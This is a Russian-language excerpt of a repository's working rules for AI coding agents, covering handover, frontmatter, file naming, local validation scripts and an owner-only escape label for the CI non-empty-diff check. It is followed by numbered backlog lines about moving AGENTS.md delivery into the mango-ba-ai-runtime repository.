\u041f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0439\u0442\u0435 summary, issue, PR \u0438\u043b\u0438\\n  handover prompt, \u0435\u0441\u043b\u0438 \u043d\u0443\u0436\u0435\u043d \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n- \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 GitHub comments, review comments \u0438 CI \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n  \u0441\u0435\u0441\u0441\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u0435\u043d manual restart.\\n- Comment + manual restart \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044e \u0432 \u0442\u043e\u043c \u0436\u0435 PR; merge \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442\\n  \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430; close \u0431\u0435\u0437 merge \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u043c\u0435\u043d\u0443.\\n- \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u044b\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap \u0438\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441.\\n- \u0412 Creative mode \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0425\u0430\u0431\u0430, \u0435\u0441\u043b\u0438 \u043e\u043d \u043d\u0435\\n  \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard bans \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0432 PR, ADR/RFC \u0438\u043b\u0438 audit.\\n\\n## Frontmatter\\n\\n\u041d\u043e\u0432\u044b\u0435 \u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0435 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 necessary and\\nsufficient frontmatter \u0438\u0437\\n[standards/frontmatter-standard.md](standards/frontmatter-standard.md) \u0438\\n[standards/frontmatter-docs-standard.md](standards/frontmatter-docs-standard.md):\\n\u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u044f `status`, `version`, `updated`, `temperature` \u043f\u043b\u044e\u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435\\n\u043f\u043e\u043b\u044f \u043a\u043b\u0430\u0441\u0441\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. Governance-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u044e\u0442 `owner`, ADR \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n`decision-type`, RFC \u0442\u0440\u0435\u0431\u0443\u0435\u0442 `rfc-scope`. `ai-generated` \u0432\u043e frontmatter\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n\\n## File Naming\\n\\n\u041d\u043e\u0432\u044b\u0435 \u0438 \u043c\u0438\u0433\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 date-first\\n\u0438\u043c\u0435\u043d\u0430 \u043f\u043e [standards/file-naming.md](standards/file-naming.md):\\n`YYYY-MM-DD-name.md` \u0434\u043b\u044f Hub `research/`, Hub `docs/report/` \u0438 spoke\\n`docs/analysis/`;\\n`YYYY-MM-name.md` \u0438\u043b\u0438 `YYYY-name.md` \u0434\u043b\u044f spoke `docs/rfc/`;\\n`YYYY-MM-adr-NNN-name.md` \u0434\u043b\u044f spoke ADR.\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438: Hub `research/`, Hub `docs/report/`, spoke\\n`docs/analysis/`, `docs/rfc/` \u0438 `docs/adr/`.\\n\\n## \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\\n```bash\\nbash tools/test-frontmatter-validator.sh\\nbash tools/test-smart-sync.sh\\nbash tools/test-reference-research-terminology.sh\\nbash tools/test-agent-onboarding-authorization.sh\\nbash tools/test-operating-mode-contract.sh\\nbash tools/test-check-agent-work-rules-size.sh\\nbash tools/test-nonempty-diff.sh\\nbash tools/test-historical-immutable.sh\\nbash tools/test-validate-rrp-links.sh\\n./tools/check-agent-work-rules-size.sh\\n./tools/validate-file-naming.sh\\n./tools/validate-frontmatter.sh .\\n./tools/validate-repository-structure.sh\\n./tools/validate-rrp-links.sh\\npython3 tools/generate-manifest.py --check\\n```\\n\\n## \u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0434\u0438\u0444\u0444\u0430\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 pull request \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444. \u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438: \u0448\u0430\u0433 `Validate nonempty diff` \u0432\\n[.github/workflows/validate.yml](.github/workflows/validate.yml) \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n[tools/validate-nonempty-diff.sh](tools/validate-nonempty-diff.sh) \u043d\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0438\\n`pull_request`. \u0414\u0438\u0444\u0444 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f three-dot \u043e\u0442 `merge-base`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430 \u043a \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044e base-\u0432\u0435\u0442\u043a\u0438 \u0438 \u043a merge-\u043a\u043e\u043c\u043c\u0438\u0442\u0430\u043c. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\\n\u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445-\u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u0434\u0438\u0444\u0444\u043e\u043c \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0442\u0435\u043b\u043e PR \u0432 git \u043d\u0435\\n\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0438\u0444\u0444 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442.\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u2014 [RFC #470](docs/rfc/2026-08-06-rfc-task-statement-architecture.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00abImplementation and Validation\u00bb, \u0448\u0430\u0433 1.\\n\\n### Escape-\u043c\u0435\u0442\u043a\u0430 `no-diff-expected`\\n\\n\u0415\u0441\u043b\u0438 PR \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, PR \u0441\\n\u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043a\u043e\u0439 `no-diff-expected`.\\n\\n- \u041c\u0435\u0442\u043a\u0443 \u0441\u0442\u0430\u0432\u0438\u0442 **\u0442\u043e\u043b\u044c\u043a\u043e owner \u0438\u043b\u0438 admin \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f**. \u041c\u0435\u0442\u043a\u0430, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f\\n  \u043b\u044e\u0431\u044b\u043c \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442: CI \u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u044f\u0432\u043d\u044b\u043c\\n  \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435\u043c \u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u043a\u0435.\\n- \u0410\u0433\u0435\u043d\u0442 **\u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442** \u044d\u0442\u0443 \u043c\u0435\u0442\u043a\u0443 \u0441\u0430\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u0435\u0451 \u043a\u0430\u043a \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0443\u0441\u0442\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b; \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0432 PR.\\n\\n## \u0421\u0432\u044f\u0437\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441 \u0442\u0435\u043e\u0440\u0438\u0435\u0439 \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 RRP\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e **P2** Reference Research Pattern\\n([RFC](docs/rfc/2026-07-17-rfc-reference-research-pattern.md)) \u0442\u0440\u0435\u0431\u0443\u0435\u0442, \u0447\u0442\u043e\u0431\u044b\\n\u0432\u0435\u0442\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u044f **\u044f\u0432\u043d\u043e** \u0441\u0441\u044b\u043b\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u0441\u0432\u043e\u0451 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e issue #505 \u0438 issue #506 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0431\u0435\u0437 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c \u0432 3 \u0438\u0437 8 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0440\u043e\u0432\u043d\u043e\\n\u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 CI.\\n\\n\u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438: \u0448\u0430\u0433\\n`Validate RRP practice-to-theory links` \u0432\\n[.github/workflows/validate.yml](.github/workflows/validate.yml) \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n[tools/validate-rrp-links.sh](tools/validate-rrp-links.sh). \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043e\u043f\u043e\u0437\u043d\u0430\u0451\u0442\u0441\u044f\\n\u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e `00-*.md` \u2014 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\\n`validate-file-naming.sh`. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439: \u0432 \u0444\u0430\u0439\u043b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 (`40-*.md`) \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b\\n\u043e\u0434\u043d\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f markdown-\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0444\u0430\u0439\u043b \u0432\u0435\u0442\u043a\u0438 \u0442\u0435\u043e\u0440\u0438\u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u043c\u043e\u0434\u0443\u043b\u044f\\n(`10-*.md`, `20-*.md`, `30-*.md`). \u0423\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435\\n89:`mango-ba-ai-runtime`.\\n94:| [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) | **`legacy/archived`** | \u041d\u043e\u0432\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0432 \u043d\u0451\u043c \u043d\u0435 \u0432\u0435\u0434\u0451\u0442\u0441\u044f. \u0415\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b (`runs/`, `kb/`, `prompts/`, \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b) \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f **\u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e** \u043f\u043e [ADR-014](../docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md) (`LG-1`\u2026`LG-6`) \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u0410\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430, \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0449\u0430\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u0432 \u0431\u044d\u043a\u043b\u043e\u0433\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430. |\\n95:| `mango-ba-ai-runtime` | `target` | \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f MVP. \u0417\u0430\u0434\u0430\u0447\u0438 \u0421\u043f\u0440\u0438\u043d\u0442\u0430 19 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043d\u0451\u043c. |\\n100:`mango-ba-ai-runtime` \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0441\u0441\u044b\u043b\u043e\u043a \u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0425\u0430\u0431\u0430,\\n106:(V2 \u00ab\u0412\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422/\u0422\u0417\u00bb), 7 (\u0442\u0440\u0438\u0433\u0433\u0435\u0440\u043d\u044b\u0435 \u0432\u0445\u043e\u0434\u044b RFC/ADR) \u0438 8 (\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 Mango \u043d\u0430\\n139:| **B-060** | \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043d\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f `projects-sink/` | **P3** | B-048 | DONE | [#589](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/589) / [PR #590](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/590) | Issue #380; B-034 Phase 4; ADR-007; `projects/` intake pain; B-171 | \u0410\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 `AGENTS.md` \u0432 `mango-ba-ai-runtime`: `projects-sink/agents-md/` \u0437\u0430\u0434\u0430\u0451\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u00ab\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u2192 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u2192 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u044f \u2192 \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f\u00bb, \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 general/archetype/environment/project layers, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0441\u043b\u0435\u043f\u043e\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0441\u0440\u0435\u0434\u043e\u0432\u044b\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u0435\u0437 profile, \u0434\u0430\u0451\u0442 \u0448\u0430\u0431\u043b\u043e\u043d\u044b \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. Read-only \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430 `aether-orbis` \u0432\u044b\u044f\u0432\u0438\u043b\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 `.hub-profile.json` \u0438 `AGENTS.md`: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b \u0438 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 profile \u0434\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438. | Creative |\\n210:\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u2014 `mango-ba-ai-runtime`, \u0430 `mango_ba_prompts` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\\n219:\u0420\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 `AGENTS.md` \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b \u0432 `mango-ba-ai-runtime` \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430\\n224:\u041f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 `AGENTS.md` \u0438 \u0431\u0430\u0437\u043e\u0432\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `mango-ba-ai-runtime` \u0438\\n227:`mango_ba_prompts`, \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u043a\u0430\u043a `CANCELLED` \u043f\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u0443 `legacy/archived`.\\n231:| **B-110** | \u041b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430 | **P1** | \u2014 | DONE | [#547](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/547) | [\u0410\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0440\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d](../docs/analysis/2026-09-03-ai-rules-compliance-failure-root-cause.md); [\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a](../research/hub/2026-09-03-ai-agent-onboarding-entrypoint-practices.md); [RFC \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 AGENTS.md](../docs/rfc/2026-09-03-rfc-agents-md-root-contract.md) (issue #551); decision record \u2014 [ADR-012 \u00ab\u041a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-012-agents-md-root-contract.md) (issue #559) | \u0423\u0437\u0430\u043a\u043e\u043d\u0438\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md`. **\u041f\u0443\u0442\u044c \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0435\u0448\u0451\u043d (`Q-1`, [ADR-012 \u00ab\u041a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 `AGENTS.md` \u043a\u0430\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0443\u0442\u0441\u0442\u0440\u0430\u043f\u0430\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-012-agents-md-root-contract.md)): \u0432\u0430\u0440\u0438\u0430\u043d\u0442 B \u2014 \u043d\u043e\u0432\u044b\u0439 `standards/agents-md-bootstrap-standard.md`; ADR-007 \u0434\u043e\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c ADR, \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 ADR \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f.** \u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c `AGENTS.md` \u0432 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0435\u0433\u043e \u0432 allowlist \u0438 `required_files` [`tools/validate-repository-structure.sh`](../tools/validate-repository-structure.sh), \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u043a\u043e\u0440\u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 [`templates/agents-md-root-draft.md`](../templates/agents-md-root-draft.md), \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0442\u043e\u043d\u043a\u0438\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 `CLAUDE.md` (\u0438\u043c\u043f\u043e\u0440\u0442 `@AGENTS.md`), `.github/copilot-instructions.md` \u0438 `.cursor/rules/` \u0431\u0435\u0437 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b. \u0414\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043a\u043e\u0440\u0435\u043d\u043d\u0430\u044f \u043b\u0435\u0433\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e RFC: \u0435\u0434\u0438\u043d\u044b\u0439 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0439 